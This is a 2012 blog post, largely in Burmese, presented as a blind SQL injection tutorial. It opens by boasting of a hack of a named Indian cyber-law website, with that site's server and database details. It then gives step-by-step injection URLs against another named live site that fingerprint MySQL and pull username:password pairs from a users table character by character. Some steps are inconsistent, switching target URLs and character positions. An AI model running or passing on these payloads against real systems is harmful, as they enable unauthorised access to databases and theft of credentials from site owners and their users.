Wednesday 15 August 2012

Blind SQL Injection Tutorial


Blind SQL Injection Tutorial


Cyber Law India Website Hacked By MaDnI [ ZHC ]

http://www.cyberlawonline.in/course-detail.php

http://www.cyberlawonline.in/blog/


http://www.cyberlawonline.in/

    Server = Apache/2.2
    Version = 5.0.77-log
    Powered by = PHP/5.1.6,PleskLin
    Current User = 465602_cyberlawo@172.17.35.67

Database:465602_cyberlawonline

    information_schema
    465602_cyberlawonline

့hacker ေတာ္ေတာ္မ်ားမ်ားက software သံုးျခင္းကိုေရွာင္ပါတယ္ က်ြန္ေတာ္software ေတြမတင္ျခင္ေတာ့ဘူး  Cyber Law India website ကို ဟက္လုတ္သြားပါတယ္
SQL Injection attack နဲ့ ပါ ေျမက္မ်ားစြာေသာ website ေတြဟာ SQl attack နဲ့ တိုက္ခိုက္ျခင္းကိုခံ
ေနရပါတယ္ coad လိုင္းအမွားေတြနဲ့ web sever ကို တိုက္ခိုက္ျခင္းလို့ေခါ္ပါတယ္ အလြယ္ေပါ့
ဒီလို့တိုက္ခိုက္နိုင္တာကလည္း website admin တစ္ဦး၏website တည္ေဆာက္ထားမွူမ်ားညံဖ်င္းမွူ
web database မွာ ခိုင္မာစြာတည္ေဆာက္နိုင္ျခင္းမရွိေသာေျကာင့္ျဖစ္သည္  Sql attack နဲ့ ပက္သက္ျပီးေတာ့ နမူနာေပါ့ေနာ္  blind  Sql attack လို့ေခါ္ပါတယ္ တိုက္နည္းေတြကမ်ားေတာ့ျကံုရာနဲ့တိုက္တာေပါ့ အဲ့ေလ
Code:

http://www.edinooyin.com/news.php?id=5
web page တစ္ခုကို စတင္ ျပီးေတာ့ ကိုယ္ browser မွာစဖြင့္လိုက္ျပီး ဒီ website pages ေပါ္လာျပီဆိုတာနဲ့
စစမ္းလို့ရပါျပီး blind sql injection attack နည္းလို့သက္မွတ္ပါ
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and 1=1
ဒါဟာအျမဲတမ္းမွန္ကန္ေနတဲ့ အေနအထားပါ ဒီ page ကို browser မွာ page loads လုတ္လိုက္တာနဲ့
normally အတိုင္ပဲ ဘာမွျဖစ္မသြားဘူး
အခုေတာ့တကယ္စျပီ
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and 1=2
ဒါဟာ ကုတ္လိုင္းအမွားပါ
အခ်ို့ text, picture ေတြဒါမွာမဟုတ္ ဒီ website ၇ဲ့ web sever မွာ ခ်ိပ္ဆက္ထားတဲ့ ဟာေတြမရွိနိုင္တဲ့
data ေတြကို ဒီ website ၇ဲ့ web pages တစ္ခုမွာ ျပန္လည္ျပီး သတိရသြားေအာင္ ကိုယ္မိန္းမရသြားတဲ့အခ်ိန္မ်ာ ငယ္ခ်စ္သူနဲ့ေတြသြားသလိုပဲ လြမ္းေဆြးျပီး အူေျကာင္ေျကာင္ျဖစ္သြားေအာင္
လုတ္လိုက္တာပါ မရွိတာကိုမွာ ေတာင္းခံလိုက္တာပါ that site is vulrnable to blind sql injection.

1) Get the MySQL version

ဒီ website မွာတည္ေဆာက္ထားတဲံ MySQL version ကိုရမွ က်ြန္ေတာ္တို့က blind sql attack ကိုစတင္လို့ရမွာျဖစ္ပါတယ္
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and substring(@@version,1,1)=4
ဒီလိုလုတ္လိုက္ရင္ ဒီ website ၇ဲ့ websever က ေနျပီးေတာမွန္ကန္တဲ့ version of MySQL is 4.
ျပန္ေပးလိမ္မယ္ 4 with 5, and if query return TRUE then the version is 5.
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and substring(@@version,1,1)=5
2)
က်ြန္ေတာ္တို့ဟာ ကုတ္လိုင္းတစ္ခုကိုအသံုးျပုျပီးေတာ့ဆက္လက္ျပီး web sever ကိုေသြးတိုးစမ္းလိုက္တယ္ ဒီစမ္းမွူဟာ အလုပ္မလုတ္ဘူး
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and (select 1)=1
ေနာက္ကုတ္လိုင္းတစ္ခုနဲ့စမ္းလိုက္တယ္ ဒီwebsite pageဟာ ပံုမွန္အတိုင္းပဲ ေ၇းသားထားတဲ့ ကုတ္လိုင္းကအလုတ္လုတ္တယ္
ဒါဆိုရင္ေတာ့ ဒီ website ၇ဲ့ websever ရဲ့ mysql.user ကိုရရ်ိေတာ့မယ္

code:
Quote

http://www.edinooyin.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
ဒီ website ကို page loads လုတ္တဲ့အခါမွာပံုမွန္အတိုင္းပဲရရွိေနမယ္ဒါဟာက်ြန္ေတာ္တို့က
mysql.user မွာရွိေနတဲ့ password ေတြမွတ္ထားတဲ့load_file() ကို၀င္ေျဖယူမလို့ပါ
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
ဒီ website ကို page loads လုတ္တဲ့အခါမွာပံုမွန္အတိုင္းပဲရရွိေနမယ္ ဆိုရင္ က်ြန္ေတာ္တို့ခန့္မွန္းထားတဲ့
ဒီဆိုက္ရဲ့ username နဲ့ password ဟာမွားသြားျပီးေနာက္တစ္ျကိမ္စရမယ္

4). Pull data from database
အျကမ္းဖက္လိုက္မယ္ ဒီဆိုက္ရဲ့ database အတြင္းမွာရွိတဲ့ ဒီwebsite ၇ဲ့ username နဲ့ password
ကိုဆြဲယူလိုက္မယ္
Code:
Quote
http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok ျပီ ဒါဟာဆြဲတြန္းလိုက္ေသာေျကာင္းထြက္ေပါ္လာတဲ့ character ပါဒီမွာျပတာကgreater then 80လို့ေခါ္တဲ့ >80ေလးကိုေတြမွာပါ80ထက္ျကီးတယ္ဆိုေတာ့
ဒီ website ကို page loads လုတ္တဲ့အခါမွာပံုမွန္အတိုင္းပဲရရွိေနမယ္ ဆိုရင္  တက္ျပီးက်ိုးစားရဦးမယ္
Code:
Quote
http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementin g
Code:
Quote
http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
Code:
Quote
http://www.site.com/news.php and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
Code:
Quote

http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

Code:
Quote

http://www.site.com/news.php and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.

Code:
Quote

http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.

Quote

Code:
http://www.site.com/news.php and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.

Quote

Code:
http://www.edinooyin.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
မတူညီတဲ့ စာဖက္သူေတြေျကာင့္အေသးစိပ္ရ်င္မျပခြင့္မရွိတာ နားလည္ေပးပါ စာဖက္သူအေနနဲ့
ဒီဆိုက္၇ဲ့ ထြက္ေပါ္လာတဲ့အေျခအေနေတါကိုေလ့လာျပီးေတာ့ပိုေကာင္းတဲ့ SQL INJECTOR
တစ္ခုျပုလုတ္နိုင္ပါေစလို့ဆုေတာင္းေပးလိုက္ပါတယ္ ဧဒင္ဦးယ်ဥ္ ကိုစမ္းသက္ထားျပီးအားနည္းခ်က္ေတြကို
ရွာေဖြျပီးအေကာင္းဆံုးျဖစ္ေအာင္လုတ္ထားပါမယ္ ေနာက္လည္း xxl attack အေျကာင္းကိုေရးပါမယ္
ျမန္မာျပည္တြင္ xxl attack ကိုကာကြယ္ထားတာ BHG အဖြဲ့ဆိုက္ပဲရွိပါေသးတယ္ ဘယ္လိုကာကြယ္ရမလဲေရးပါမယ္


ေနေသာ္ေအာင္

No comments:

Post a Comment

back to top